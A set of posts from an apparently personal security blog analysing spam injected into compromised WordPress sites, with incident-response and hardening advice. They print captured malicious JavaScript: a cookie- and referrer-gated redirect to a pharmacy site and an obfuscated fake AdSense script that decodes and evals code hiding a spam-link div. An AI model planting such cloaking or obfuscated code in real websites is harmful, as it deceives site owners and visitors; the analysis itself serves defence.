Rispetto alle altre di cui ho parlato, questa è una differente variante. Non pare iniettare cose nel database e non effettua il redirect. In uno dei siti compromessi ho trovato una ulteriore variante della DIV farcita di link a beneficio del GoogleBot: questa non ha né un ID, né stile display, né Javascript che inietta lo stile in base all’ID. Qui la questione è molto più semplice: c’è una istruzione di stile come questa:


<div style="position:absolute;left:-17453px;top:-17453px">

Risultato: il contenuto della DIV è invisibile perché piazzata fuori dalla finestra del browser. E’ meno individuabile perché sia “display:none” che “id=goro” sono stringhe inusuali, e facilmente rintracciabili con un motore di ricerca, mentre “position:absolute” è infinitamente più comune.

Le ragioni per cui l’attacco ha avuto successo

Nell’installazione vi erano alcune debolezze, che hanno reso la vita relativamente facile all’attaccante. Vediamo le principali:

  • La versione di Wordpress era la 2.0.3, vulnerabile a parecchi tipi di attacco, compreso uno che consente di accedere al database tramite la funzione di trackback. Esistono anche dei Proof of Concept sull’argomento.
  • Tutti i file di Wordpress erano modificabili dall’account con cui viene eseguito il web server, in questo caso Apache. Questo ha permesso all’attaccante di inserire file in directory normalmente non modificabili, di modificare file di Wordpress e quindi di iniettare il proprio codice nei punti vitali dell’applicazione.
  • Tutti i file di Wordpress appartenevano allo stesso account di Apache. Purtroppo questa è una pratica comune di molti servizi di hosting. E’ parente stretto del problema nel punto precedente, ma più grave: in questo modo anche se andiamo a togliere i permessi di scrittura per tutti ai file, il proprietario, ossia Apache, potrà renderli di nuovo scrivibili. Non dimentichiamoci che gli script PHP agiscono con lo stesso account e quindi gli stessi diritti del web server in cui è eseguito, in questo caso sempre Apache.

Per evitare di cadere vittima di questo tipo di attacchi, oltre a tenere aggiornato Wordpress, occorre fare un lavoro di hardening sull’installazione nel web server. La regola base è che Apache, o quello che sia, deve essere eseguito con un account differente da quello a cui appartengono i file del sito. In questo modo si può controllare meglio il comportamento del codice PHP, ed impedirgli di automodificarsi, cosa tipica delle iniezioni di codice da parte di malware.

Altra cosa è di assegnare poi i permessi di scrittura solo e soltanto dove serve. Una buona guida è qui.

Tags: , , ,

Spam con Wordpress: esempi di codice iniettato

Apr 22

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Software, Wordpress | 1 commento

Indagando sul recente sfruttamento di blog basati su Wordpress per carpirne il pagerank, al fine di vendere farmaci online, mi sono imbattuto in parecchi esempi di codice Javascript iniettato. Ne riporto quancuno, con l’analisi, al fine di mostrare cosa sia possibile fare anche solo con Javascript.

Partiamo dal primo esempio. Il codice era inserito in cima alla homepage di un blog:


<script language="JavaScript">
  var r=document.referrer,t="”,q;
  if (r.indexOf("google.") != -1) t = "q";
  if (r.indexOf("msn.") != -1) t = "q";
  if (r.indexOf("live.") != -1) t = "q";
  if (r.indexOf("yahoo.") != -1) t = "p";
  if (r.indexOf("altavista.") != -1) t = "q";
  if (r.indexOf("aol.") != -1) t = "query";
  if (r.indexOf("ask.") != -1) t = "q";
  if (document.cookie.length==0 && t.length &&
      (document.URL.indexOf("?certified=") != -1 ||
      document.URL.indexOf("?google-approved=") != -1) &&
      ((q=r.indexOf("?"+t+"=")) != -1 ||
      (q=r.indexOf("&"+t+"=")) != -1))
      {
	window.location="http://sito.farmaci/pharma/search.php?q=" +
	  r.substring(q+2+t.length).split("&")[0];
      }
</script>

La funzione dello script può essere riassunta in questo modo:

  1. Viene esaminato il referer: se è un motore di ricerca fra Google MSN, Live, Yahoo, Altavista, AOL o Ask, viene assegnata alla variabile t la stringa che identifica la query
  2. La sequenza di condizioni nell’ultimo statement if suona più o meno così:
    • se non ci sono cookie appartenenti al sito
    • se la variabile t non è vuota
    • l’url richiesto contiene ?certified= o ?google-approved=
    • vi è la sequenza di termini di ricerca nell’url del referer

    ossia, in breve, se l’url del referer è più o meno così: http://motorediricerca/search?hl=it&q=parole+chiave e l’url cercato è più o meno così: http://blog.violato/?certified=222 il browser viene rediretto a http://sito.farmaci/pharma/search.php?q=parole+chiave

Il redirect quindi non si attiva se un visitatore arriva da un altro sito qualsiasi, né se ha già visitato il sito in precedenza. Non si attiva neppure se la stringa di query manca o è incompleta nell’url del referer, determinando così un meccanismo di occultamento a danno sia del proprietario del sito che dei suoi amici e visitatori abituali.

Vediamo ora un secondo esempio.

Questo è presente sempre in alcuni dei blog compromessi. Il codice malevolo reagisce allo user agent: se è lo spider di un motore di ricerca noto, la pagina principale viene riempita di link a beneficio dello spider. Per maggiore sicurezza, i link sono all’interno di un <div> che ha ID uguale a _wp-footer. Notare che il tag non ha attributi di stile, e che l’ID assomiglia ad uno comunemente usato in WordPress, ma c’è un segno di underscore all’inizio. Ecco il codice Javascript associato:


<div id="_wp_footer">
...lunga sequenza di link con nomi di farmaci noti...
</div>
<script type="text/javascript"><!--
  google_ad_client = "pub-7652328300112263";
  google_ad_width = 728;
  google_ad_height = 15;
  google_ad_format = "728x15_0ads_al_s";
  google_ad_channel = "";
  function google_ads(str) {
    var idx = str.indexOf('?');
    if (idx == -1) return str;
    var len = str.length;
    var new_str = "”;
    var i = 1;
    for (++idx; idx < len; idx += 2,i++) {
      var ch = parseInt(str.substr(idx, 2), 16);
      new_str += String.fromCharCode((ch + i) % 256);
    }
  eval(new_str);
  }
  google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
  //-->
</script>

Ad una occhiata distratta sembra un normale segmento di script per Google AdSense, ma qualcosa non quadra. Il for contiene una semplice funzione di decodifica. Basta sostituire alla funzione eval vicino alla fine con alert o con document.write: il risultato lo vediamo in figura.

Codice JS per occultare un blocco DIV

In stringa:


document.getElementById('_wp-footer').style.display="none";

La funzione di questo minuscolo pezzo di codice è di inserire lo stile display:none negli attributi del blocco div con ID _wp-footer, in breve di non visualizzarlo.
In questo modo se qualcuno cerca nelle pagine qualcosa di nascosto tramite lo stile display:none non lo troverà mai. Si tratta di protezione per offuscamento del codice.

Questi ed altri indizi mostrano che il codice malevolo è in evoluzione: a partire dalla variante detta Goro Spam, dove lo stile era esplicito nella pagina, si è passati all’offuscamento proprio di quello stile ed all’uso di un ID con nome molto comune. Sta diventando sempre più difficile trovare siti compromessi, certo non per via dell’esaurirsi dell’attacco, piuttosto per la maggiore sofisticazione impiegata dall’attaccante.

Appena avrò maggiori dettagli pubblicherò altri articoli. Nel frattempo, massima attenzione alle homepage dei vostri blog.

Tags: , , ,

Come agire se il proprio sito/blog viene compromesso

Apr 22

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 3 commenti

Negli ultimi giorni ho avuto a che fare con un attacco combinato di spammer che, sfruttando falle in Wordpress o nella configurazione del server ospitante il blog, beneficiano del Pagerank dei blog colpiti per apparire nelle prime pagine dei risultati di ricerca.

A parte questo mi sono trovato nella situazione al limite del ridicolo in cui i gestori o proprietari dei blog ignorano i miei messaggi, o peggio mi rispondono che per loro è tutto a posto. Uno mi ha detto addirittura che il problema l’ha risolto settimane fa.

Il codice malevolo inserito nei blog è congegnato in modo da nascondersi a chi è visitatore abituale del blog. Quindi il proprietario ed i suoi amici e frequentatori non notano niente di strano. E se trovano strani link in ricerche su Google, quando li seguono non accade nulla, ma questa è un’altra storia. Ho avvertito tutti, qualcuno anche più volte, ho scritto al team di Wordpress ed a Google. Staremo a vedere.

Ma la cosa che mi è saltata agli occhi è la mancanza di regole da seguire nel malaugurato caso che il proprio blog, o il proprio sito, venga compromesso da qualcuno che riesce a sfruttare un bug o un errore di configurazione.

Se l’intruso ha sfruttato la falla per motivi poco etici ma, per fortuna si è limitato a fare spam, come in questo caso, possiamo soprassedere e limitarci alle regole che seguono poco sotto. Se invece abbiamo il dubbio che possano essere stati commessi reati più gravi, non esitiamo a contattare le Forze dell’Ordine, senza toccare nulla. E’ fondamentale che le prove restino al loro posto. Qualsiasi intervento da parte nostra potrebbe cancellare indizi importanti per risalire al responsabile.

E’ un attimo, trovarsi coinvolti in indagini per truffa o peggio, senza averne colpa alcuna se non quella di usare un software vulnerabile e cadere vittima di un predone.

Se invece le cose sono meno gravi, come appunto in questo caso, possiamo seguire alcune semplici regole, mutuate dall’Informatica Forense:

  1. Non cancellare il codice del sito. Sia esso in PHP, ASP o altro, se ne deve fare un backup completo, usando ftp o un altro metodo, includendo eventuali temi, plugin o estensioni. Se l’intruso è riuscito a modificare il codice, il poter vedere quali siano le modifiche e gli eventuali file creati al momento dell’attacco è di grandissimo aiuto nel trovare il punto di ingresso, ed eventualmente turare una falla.
  2. Se il sito ha un’area di upload, salvarne tutto il contenuto. L’intruso potrebbe essere riuscito a infilare qualcosa in mezzo agli altri file, ed averlo usato per l’attacco.
  3. Se si ha accesso ai log del web server, salvarne una copia, possibilmente a partire dal giorno in cui potrebbe essere successo il fatto. Per questo ci può aiutare la data sui file modificati dall’intruso nel sito. Alcune vulnerabilità vengono sfruttate usando particolari URL, forgiati in modo da attivare un bug nel codice. Avere a disposizione i log del web server aiuta ad identificare la forma usata nell’URL per iniettare il codice dannoso.
  4. Se il sito usa un database, farne un backup, o un dump completo. Alcune intrusioni iniettano dati nell’archivio, o aggiungono tabelle al database. Averne una copia è un aiuto preziosissimo, sempre allo scopo di individuare il punto d’ingresso.
  5. Nel caso, raro in verità, in cui il server sia “in casa”, la cosa migliore sarebbe una immagine del disco bit a bit, una pratica da fare con strumenti tipici dell’Informatica Forense, ma questo richiede competenze specifiche.

La pratica comune è di reinstallare, o fare un upgrade. Questo va bene, ma in ogni caso conviene prima salvare tutto il materiale utile alle indagini, poi si procede ad una installazione pulita.

Non basta il solo aggiornamento del software: se l’intruso ha inserito codice nelle tabelle del database, fra i file di supporto o gli upload, questo verrà ereditato dal software aggiornato, vanificando l’operazione.

Tags: , , ,

Attention: your Wordpress blog may be compromised.

Apr 21

Pubblicato da Mario Pascucci in ...english, too!, Information security, Wordpress | Disattiva commenti

Post updated after publish, see bottom

If you came to this article because you got an e-mail or a comment in your blog that ask to read it, please do not go away. Read the rest.

I’m an independent Information Security researcher. I’m investigating about an attack to some Wordpress based blogs that involves spam and exploiting Google pagerank mechanism.

First of all, check yourself that your blog may be compromised. To do that, you need to do two different checks. First requires a little utility called “wget”, that is widely used in Linux, but it is available for Windows, too. Use this command:


wget -U googlebot -O home.html http://yourblogurl/

Note that -O and -U are both capital, and http://yourblogurl/ is the address of your blog homepage.
After command execution you will get a single file called home.html, that contains the HTML of your blog homepage. This is how your blog appears to the Google spider. Open it with a text editor, not from web browser. Examine the code, and you can see a block of code in a <div> block, that contains links that don’t belongs to your site. Usually it is shortly after the opening <body> tag, or near the end of page.
These links are about pills, ring tones, loan, and so on, like normal spam mails. You can compare with your homepage as appears on your browser source viewer, or you can get another copy with wget, without the -U option, so you get the “regular” homepage.

For the second check, open your browser and go to Google search. Type this query string:
buy valium inurl:yourblogurl
where yourblogurl is a part of the site name that is unique for your blog. I.e. if I want to check my blog I will type:
buy valium inurl:ismprofessional
Change text according to your website, and try other well-known drugs name, like the “blue pills”, named in every mail spam message.

The result of the query can be something like this:


Buy Valium from Sunrise Movies
All the information and advice you'll need to find the best
Buy Valium with the lowest Vicodin price, even if you're a first-time buyer.
www.yourblogurl/?item=137

The query part of the url string can change. This is an incomplete list:


?google-approved=number
?coupon_number=number
?item=number
?order_id=number
?certified=number
?pharma-certified=number

If you click on the link in the search results, apparently nothing special happens: you will go in your blog.

But try this: open cookie management of your browser, search for all cookies of your site and delete them. Then return to Google result page and click again on the link with your blog. This time something different happens: your browser will redirected to an online pharmacy.

How this is possible? I don’t know exactly, but I can do some hypotheses: If someone was able to crack something in your Wordpress installation, the index.php file may contain malicious code that checks if you visited the blog in the past, through the cookie. If you have the cookie, the code do not activate itself, so you see your blog. If you do not visited blog before, and you come from a search engine, the malicious code redirect your browser to pharmacy site.

It is a sort of hiding mechanism to protect malicious code being discovered by regular blog visitor, or by blog owner.

If you do not understand terms I used, please ask to someone more skilled to explain in other words.

I wrote this message because I tried to warn blog owners of the problem, but my message got no replies, and I suspect that gets catch by spam filters. It is quite difficult to write about drugs spam without use same terms used by spammers.

If you get persuaded that my warning is true, please DO NOT delete your Wordpress installation files on server. Save them on a zip file and, if you can, send the zipfile to me, so I can figure how malicious code was injected in your blog. After that you can delete all the file and reinstall Wordpress. Check also the database, because some malicious code put extraneous data in Wordpress tables.

For what I see, upgrading to Wordpress 2.5 DO NOT solve the problem. Some of the hacked blogs already use version 2.5, but the problem persist.

Why I do all this work? Because I think that someone exploiting a bug or a flaw in Wordpress, or in the web server configuration, to do dirty business. These people knows perfectly how Google Pagerank works, and are able to use it very well.

I earn nothing from that. I do only for ethical reason.

So, if you think that I am in error, please apologize, and you can forget any message I send to you.

In other case, you can contact me using this page.

At the moment I get more information, I will update this post, so stay tuned.

First information available

Thanks to Jay, we have first data about malicious code. There are some symptoms:

  • An extraneous file uploaded to the /tmp/ directory on the server, added as a WP add-on. Warning: It didn’t show up on the list, so it was only visible by looking at the actual database using phpMyAdmin.
  • New admin account in WordPress as well, called “WordPress”. Warning: invisible in the administration interface of WordPress.
  • Other PHP scripts placed around in various directory of server. Jay do not send me a sample, but he looked into the code, and these scripts allow remote shell and command execution.

Note that: Wordpress was updated to last release, but the redirect code were still in place and active. Only after direct database editing the redirect stops working.

A different cracking scheme

During the analysis of a different blog, I found another type of penetration scheme:

  • The cracker targets old Wordpress releases, known to be highly vulnerable, i.e. 2.0.3, 2.0.5 and so on.
  • It inject one or two files in unused directories, like wp-content/themes/classic, or in uploads directory.
  • These files are: a remote shell coded in PHP, and the “spam injector/redirector”.
  • It uses something called “doorgen”, but the name can be other

So, checks your Wordpress installation for modified or extraneous files.

Update

I arranged an automated test to check for this problem. The page is called Wordpress Autotest. Read instructions carefully.

Tags: , ,